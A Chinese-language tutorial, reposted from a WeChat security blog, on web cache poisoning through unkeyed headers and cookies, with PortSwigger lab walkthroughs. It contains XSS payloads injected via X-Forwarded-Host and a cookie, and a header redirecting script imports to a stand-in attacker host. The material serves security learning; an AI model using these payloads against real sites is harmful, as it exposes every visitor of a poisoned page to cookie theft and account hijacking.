Web缓存中毒-攻击示例(一)

admin 2023年1月7日12:39:16安全百科评论1 views3229字阅读10分45秒阅读模式

在某些情况下,Web缓存中毒漏洞的产生是由于缓存设计中缺陷造成的。其他时候,一个特定的Web缓存实施的方式会带来意想不到的问题,从而被利用。在后面的章节中,将概述这两种情况下一些常见的例子。



利用缓存的设计缺陷

首先研究如何由于缓存设计中的缺陷导致Web缓存中毒漏洞,如果网站以不安全的方式处理"unkeyed"输入,并允许所后的HTTP响应被缓存,就容易受到Web缓存中毒的影响。

这个漏洞可以被用作各种不同攻击的传递方式。



利用Web缓存中毒来传递XSS攻击

最简单的Web缓存中毒漏洞是没有对"unkeyed"输入进行适当的处理而被反映在缓存的响应中。

例如,看下下面的请求和响应:

GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: innocent-website.co.uk
HTTP/1.1 200 OK Cache-Control: public <meta property="og:image" content="https://innocent-website.co.uk/cms/social.png" />

在这里,X-Forwarded-Host标头的值被用来动态生成Open Graph图像的URL,然后将其反映在响应中。

对于Web缓存中毒来说,X-Forwarded-Host标头通常都是"unkeyed"的,在这个例子中,缓存有可能被包含一个简单的XSS攻击payload的响应所毒害,像下面这样:

GET /en?region=uk HTTP/1.1Host: innocent-website.comX-Forwarded-Host: a."><script>alert(1)</script>"
HTTP/1.1 200 OKCache-Control: public<meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png"

如果这个响应被缓存,所有访问/en?region=uk的用户都会收到这个XSS攻击的影响。

这个例子只是导致受害者的浏览器出现弹窗,但真正的攻击有可能窃取密码并劫持用户账号。



利用Web缓存中毒对资源导入的不安全处理

一些网站使用"unkeyed"标头来动态生成导入资源的URL,比如外部托管的JavaScript文件。

在这种情况下,如果攻击者将适当的标头值改为他们控制的域,就有可能操纵URL,使之指向他们自己的恶意JavaScript文件。

如果缓存了包含此恶意URL的响应,则攻击者的JavaScript文件将被导入并在其请求具有相同缓存键的用户浏览器会话中执行。

GET / HTTP/1.1Host: innocent-website.comX-Forwarded-Host: evil-user.netUser-Agent: Mozilla/5.0 Firefox/57.0
HTTP/1.1 200 OK<script src="https://evil-user.net/static/analytics.js"></script>


场景试验-利用"unkeyed"标头进行Web缓存中毒:

https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header

场景说明:

这个试验场景容易受到Web缓存中毒的影响,因为它以不安全的方式处理来自"unkeyed"的输入。一个不知情的用户经常访问该站的主页。

试验目的:

要完成这个试验,需要在访问者的浏览器中执行alert(document.cookie)的响应来毒害缓存。

攻击过程:

访问主页后将这个请求发送给Repeater

Web缓存中毒-攻击示例(一)

                     

Repeater中对这个请求增加一个缓存销毁参数"?cb=1234"保证缓存不会对其他人造成影响,同时增加一个X-Forwarded-Host标头和参数test.com,并发送这个请求

Web缓存中毒-攻击示例(一)

发送这个请求两次,可以看到第二次发送后响应包含X-Cache:hit,说明是从缓存进行的响应。同时X-Forwarded_Host后面的参数被引用到/resources/js/tracking.js

Web缓存中毒-攻击示例(一)

打开"Exploit Server",修改文件名为"/resources/js/tracking.js"用来匹配上面那个JS,同时在"Body"中增加如下payload后保存:

alert(document.cookie)

Web缓存中毒-攻击示例(一)

再次修改Repeater中的请求,把缓存销毁参数删掉,同时修改X-Forwarded-Host后面的参数

X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net

Web缓存中毒-攻击示例(一)

发送这个请求,重放多次,直到命中缓存响应

Web缓存中毒-攻击示例(一)

在缓存中毒期间,可以用浏览器访问,如果能够出现弹窗的话说明投毒成功

Web缓存中毒-攻击示例(一)

注意每30s需要重新投毒,直到受害者访问主页即可完成试验。





利用Web缓存中毒对cookie漏洞进行利用

Cookie经常被用来在响应中动态的生成内容。

一个常见的例子是用于指示用户首选语言的cookie,然后被用于加载页面的相应版本的页面:

Web缓存中毒-攻击示例(一)

在这个例子中,正在请求一个Blog的波兰语版本。不过要注意,关于提供那种语言版本的信息只包含在Cookie头中。

假设缓存键包含请求行和主机标头,但不包含Cookie头,在这种情况下,如果对这个请求的响应被缓存了,那么随后所有试图访问这篇blog的用户也会收到波兰语版本,而不管他们实际选择的是哪种语言。

缓存对cookie这种错误处理也可以通过Web缓存中毒技术加以利用。

然后在实际情况中,与基于标头的缓存中毒相比,这种载体是相当罕见的。

当基于cookie的缓存中毒漏洞存在时,由于合法用户意外中毒缓存,因此往往会被迅速识别并解决这些漏洞。


场景试验-利用"unkeyed"cookie进行Web缓存中毒:

https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header

场景说明:

这个试验场景容易受到Web缓存中毒的影响,缓存键中不包括cookie,一个不知情的用户经常访问该网站的主页。

试验目的:

要完成这个试验,需要在访问者的浏览器中执行alert(1)的响应来毒害缓存。

攻击过程:

访问首页后,可以看到响应中对cookie设置了一个值"prod-cache-01"

Web缓存中毒-攻击示例(一)

再刷新下首页,可以看到请求中cookie会包含上面的值

Web缓存中毒-攻击示例(一)

把这个请求发送给Repeater,增加缓存销毁参数,并修改下cookie中的值

Web缓存中毒-攻击示例(一)

发送这个请求两次,可以看到第二次响应是从缓存中读取的,同时参数值在JS中也发生了变化

Web缓存中毒-攻击示例(一)

fehost cookie中替换XSSpayload,如下:

fehost=someString"-alert(1)-"someString

删除缓存销毁参数后重放请求,直到从缓存中响应

Web缓存中毒-攻击示例(一)

刷新下主页,出现弹窗的话说明投毒成功。

Web缓存中毒-攻击示例(一)

注意每30s需要重新投毒,直到受害者访问主页即可完成试验。


Web缓存中毒-攻击示例(一)


服务器端请求伪造(SSRF)-概念梳理

文件上传漏洞-概念梳理

访问控制和权限提升漏洞-概念梳理

信息泄露漏洞-概念梳理

业务逻辑漏洞-概念梳理

命令注入攻击(上)
目录遍历攻击(上)

身份验证漏洞-概念梳理

SQL注入攻击-检索隐藏的数据
HTTP Host头漏洞攻击-概念梳理



原文始发于微信公众号(H君网安白话):Web缓存中毒-攻击示例(一)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月7日12:39:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Web缓存中毒-攻击示例(一) http://cn-sec.com/archives/1504695.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: